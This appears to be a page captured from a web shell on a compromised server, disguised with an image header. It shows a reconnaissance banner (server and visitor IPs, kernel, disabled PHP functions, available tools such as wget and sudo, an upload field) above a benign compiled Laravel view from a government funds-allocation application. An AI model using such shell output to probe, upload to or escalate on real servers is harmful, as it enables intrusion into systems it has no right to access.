ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.222.119.237 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div class="box box-default" style= "border:none;"> <div class="box-header with-border hidden-print"> <h3 class="box-title"><?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3> </div> <?php if($warning<>''): ?> <div class="alert alert-dismissible alert-danger"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($warning); ?></strong> </div> <?php endif; ?> <?php if($success<>''): ?> <div class="alert alert-dismissible alert-success"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($success); ?></strong> </div> <?php endif; ?> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <div class="box-body"> <?php echo $__env->make('layouts.allReportHeader', ['companyName'=>'defaultName', 'companyAddress'=>'defaultAddress', 'title1'=>'Monthly Allocation Recieved', 'title2'=>'', 'showOnlyTitle1'=>1, 'showOnlyTitle2'=>0, 'hideLogos'=>0, 'hideAddress'=>0], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <form method="post" id="thisform1" name="thisform1" > <?php echo e(csrf_field()); ?> <div class="box-body"> <div class="row hidden-print"> <div class="col-md-2"> <label>Period</label> <?php if (old('period') !='') {$period=old('period'); } ?> <select name="period" id="period" class="form-control" onchange ="ReloadForm();" > <option value="" selected>-Select Year-</option> <?php $__currentLoopData = $YearPeriod; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($b->Period); ?>" <?php echo e(($period) == $b->Period? "selected":""); ?>><?php echo e($b->Period); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> <div class="col-md-3"> <label class="control-label">Budget Type</label> <select class="form-control" id="economicGroup" name="economicGroup" onchange="ReloadForm()" required=""> <option value="" >Choose One</option> <?php $__currentLoopData = $EconomicGroup; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($list->ID); ?>" <?php echo e(($economicGroup) == $list->ID? "selected":""); ?>><?php echo e($list->contractType); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> <div class="col-md-3"> <label class="control-label">Month</label> <select class="form-control" id="month" name="month" onchange="ReloadForm()" required=""> <option value="" > Choose One</option> <option value="january" <?php echo e(($month) == 'january' ? 'selected':''); ?> > January</option> <option value="february" <?php echo e(($month) == 'february' ? "selected":""); ?> > February</option> <option value="march" <?php echo e(($month) == 'march' ? "selected":""); ?> > March</option> <option value="april" <?php echo e(($month) == 'april' ? "selected":""); ?> > April</option> <option value="may" <?php echo e(($month) == 'may' ? "selected":""); ?> > May</option> <option value="june" <?php echo e(($month) == 'june' ? "selected":""); ?> > June</option> <option value="july" <?php echo e(($month) == 'july' ? "selected":""); ?> > July</option> <option value="august" <?php echo e(($month) == 'august' ? "selected":""); ?> > August</option> <option value="september" <?php echo e(($month) == 'september' ? "selected":""); ?> > September</option> <option value="october" <?php echo e(($month) == 'october' ? "selected":""); ?> > October</option> <option value="november" <?php echo e(($month) == 'november' ? "selected":""); ?> > November</option> <option value="december" <?php echo e(($month) == 'december' ? 'selected':""); ?> > December</option> </select> </div> <div class="col-md-3"> <label>Total Received</label> <input type="text" name="amount" class="form-control" value="<?php echo e($amount); ?>" placeholder=""> </div> </div> <div class="row"> <div class="col-md-4"> <label>Remarks</label> <textarea name="remarks" class="form-control" > </textarea> </div> <div class="col-md-2"> <br> <button type="submit" class="btn btn-success" name="update"> <i class="fa fa-btn fa-floppy-o"></i> Add New </button> </div> </div> <input id ="delcode" type="hidden" name="delcode" > <div class="table-responsive" style="font-size: 12px; padding:10px;"> <table class="table table-bordered"> <thead> <tr > <th ></th> <th >Year</th> <th >Month</th> <th >Remarks</th> <th >Balance BF </th> <th >Total Received </th> <th >Total Alloted</th> <th >Balance</th> </tr> </thead> <?php $serialNum = 1; $bf=0; $tr=0; $ta=0; ?> <?php $__currentLoopData = $QReport; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td><?php echo e($serialNum ++); ?> </td> <td><?php echo e($b->year); ?></td> <td style="text-transform:capitalize;"><?php echo e($b->month); ?></td> <td style="text-transform:capitalize;"><?php echo e($b->remarks); ?></td> <td style="text-align:right;"><?php echo e(number_format($bf,2)); ?></td> <td style="text-align:right;"><?php echo e(number_format($b->amount,2)); ?></td> <td style="text-align:right;"><?php echo e(number_format($b->Allotted,2)); ?></td> <?php $bf=$bf+$b->amount-$b->Allotted; $tr +=$b->amount; $ta +=$b->Allotted; ?> <td style="text-align:right;"><?php echo e(number_format($bf ,2)); ?></td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <tr> <td> </td> <td></td> <td style="text-transform:capitalize;">Total</td> <td style="text-transform:capitalize;"></td> <td style="text-align:right;"></td> <td style="text-align:right;"><?php echo e(number_format($tr,2)); ?></td> <td style="text-align:right;"><?php echo e(number_format($ta,2)); ?></td> <td style="text-align:right;"></td> </tr> </table> <button class="print hidden-print" type="submit" >Print</button> </div> </div> </form> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>"> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>"> <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.19/css/jquery.dataTables.min.css"> <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/buttons/1.5.2/css/buttons.dataTables.min.css"> <style> .table tr th { text-transform:uppercase; font-size: 14px; } .table tr td { font-size: 14px; } </style> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.2/js/dataTables.buttons.min.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.2/js/buttons.print.min.js"></script> <script> $('.print').click(function() { window.print(); }); </script> <script type="text/javascript"> function ReloadForm() { document.getElementById('thisform1').submit(); return; } </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/resources/views/allocation/monthlytotalallocation.blade.php ENDPATH**/ ?>